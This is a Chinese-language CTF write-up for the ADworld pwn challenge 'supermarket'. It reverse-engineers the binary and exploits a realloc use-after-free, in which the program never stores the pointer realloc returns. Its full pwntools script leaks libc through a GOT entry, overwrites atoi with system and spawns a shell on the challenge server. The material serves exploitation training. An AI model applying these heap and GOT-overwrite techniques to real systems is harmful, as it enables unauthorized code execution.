ADworld pwn wp - supermarket

分析过程

解压三次
得到二进制文件
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
首先看看add部分, 可知商品信息结构体由一个malloc(0x1C)的chunk保存, 然后再malloc一个*(v2 + 5) == size大小的chunk保存商品描述字符串
在这里插入图片描述
在这里插入图片描述

逆向分析, 还原出商品结构体

struct commodity{
	char name[16];
	int price;
	int size_description;
	char* description;
}

看一下free部分, 似乎没有漏洞, free chunk后指针也都置零了

int __cdecl sub_8048CE0(int a1)
{
  int result; // eax

  if ( (&s2)[a1] )
  {
    *((&s2)[a1] + 4) = 0;
    free(*((&s2)[a1] + 6));
    free((&s2)[a1]);
  }
  result = a1;
  (&s2)[a1] = 0;
  return result;
}

再接着list show函数, 将所有商品的信息拼接到s[785]局部变量中, 然后统一输出
在这里插入图片描述

看下change price函数, 似乎也没漏洞

int sub_8048E00()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  v2 = sub_8048DC8();
  if ( v2 == -1 )
    return puts("not exist");
  if ( *((&s2)[v2] + 4) <= 0 || *((&s2)[v2] + 4) > 999 )
    return puts("you can't change the price <= 0 or > 999");
  printf("input the value you want to cut or rise in:");
  v1 = sub_804882E();
  if ( v1 < -20 || v1 > 20 )
    return puts("you can't change the price");
  *((&s2)[v2] + 4) += v1;
  if ( *((&s2)[v2] + 4) <= 0 || (result = *((&s2)[v2] + 4), result > 999) )
  {
    puts("bad guy! you destroyed it");
    result = sub_8048CE0(v2);
  }
  return result;
}

最后看下change description, 这里有realloc函数, 需要额外注意, 可能会出现漏洞

int change_description()
{
  int v1; // [esp+8h] [ebp-10h]
  int size; // [esp+Ch] [ebp-Ch]

  v1 = sub_8048DC8();
  if ( v1 == -1 )
    return puts("not exist");
  for ( size = 0; size <= 0 || size > 256; size = sub_804882E() )
    printf("descrip_size:");
  if ( *((&s2)[v1] + 5) != size )
    realloc(*((&s2)[v1] + 6), size);
  printf("description:");
  return sub_8048812(*((&s2)[v1] + 6), *((&s2)[v1] + 5));
}

漏洞利用

虽然free部分没有UAF漏洞, 但是realloc部分存在UAF漏洞, 如果先将一个大chunk1缩小, 申请一个新商品结构chunk2, 再将描述字符串的chunk1, realloc回原大小, 此时chunk1就会覆盖到chunk2
(其实并不是chunk1覆盖到, 按照realloc的函数实现, 如果新size大于原size, 并且heap空间不够用时, 会重新在别的地方开辟chunk, 然后把新的地址指针返回给调用者, 但是这里程序实现没有更新chunk的指针, 所以构成UAF漏洞),
那么覆盖的部分, 即chunk2就是可控制部分, 伪造出一个chunk2, 然后list show打印出其内容, 就可以通过传入libc的某个函数got地址, 进而泄露libc基址, 最后得知system地址, 再通过商品描述字符串的修改功能, 就能修改got表地址, 比如把atoi改成system, 下次在主界面传入"/bin/sh"就实现了调用system("/bin/sh")

在这里插入图片描述

from pwn import *

url, port = "111.200.241.244", 55654
filename = "./supermarket"
elf = ELF(filename)
libc = ELF("./libc.so.6")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    context.log_level="debug"
    io = remote(url, port)

def add(name, price, descrip_size, description):
    io.sendlineafter('>> ', "1")
    io.sendlineafter('name:', name)
    io.sendlineafter("price:", price)
    io.sendlineafter("descrip_size:", descrip_size)
    io.sendlineafter('description:', description)

# def delete(name):
#     io.sendlineafter('>> ', "2")
#     io.sendlineafter('name:', name)

def list_commod():
    io.sendlineafter('>> ', "3")
    io.recvuntil('des.')
    io.recvuntil('des.')
    return io.recvuntil("\n")[:4]

# def change_price_commodity(name, price):
#     io.sendlineafter('>> ', "4")
#     io.sendlineafter('name:', name)
#     io.sendlineafter("rise in:", price)

def change_description_commodity(name, descrip_size, description):
    io.sendlineafter('>> ', "5")
    io.sendlineafter('name:', name)
    io.sendlineafter("descrip_size:", descrip_size)
    io.sendlineafter('description:', description)

def pwn():
    add("A", "9", "256", "chunk1")
    change_description_commodity("A", "8", "chunk1")
    add("B", "8", "16", "chunk2")

    payload = flat([cyclic(12), 0x21, 0x42, cyclic(12), 0x8, 0x10, elf.got["atoi"]])
    change_description_commodity("A", "256", payload)
    libc_base = u32(list_commod()) - libc.sym["atoi"]
    system_addr = libc_base + libc.sym['system']
    change_description_commodity("B", "16", p32(system_addr))
    io.sendlineafter(">> ", "/bin/sh\x00")
    io.interactive()


if __name__ == "__main__":
    pwn()

总结

整个利用过程的关键是realloc的UAF漏洞, 通过这个漏洞可以修改chunk2的字符串指针, 劫持到got表, 这样就拥有了泄露和修改got表的能力, 从而完成攻击

难点

对realloc的运行机制有深刻理解, 当realloc一个更大的空间但无法被满足时, realloc会自动开辟新空间将原来的数据内容拷贝过去, 然后返回新空间的指针
这个程序错就错在没有根据realloc返回回来的指针更新商品描述指针, 导致UAF漏洞

卡点

在理解realloc的UAF漏洞时花费比较长的时间

io.recv()会不停的接收数据, 在与程序交互时卡住, 改成io.recvuntil("\n")

参考

https://blog.csdn.net/seaaseesa/article/details/103093182
https://blog.csdn.net/qq_43986365/article/details/104292025

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值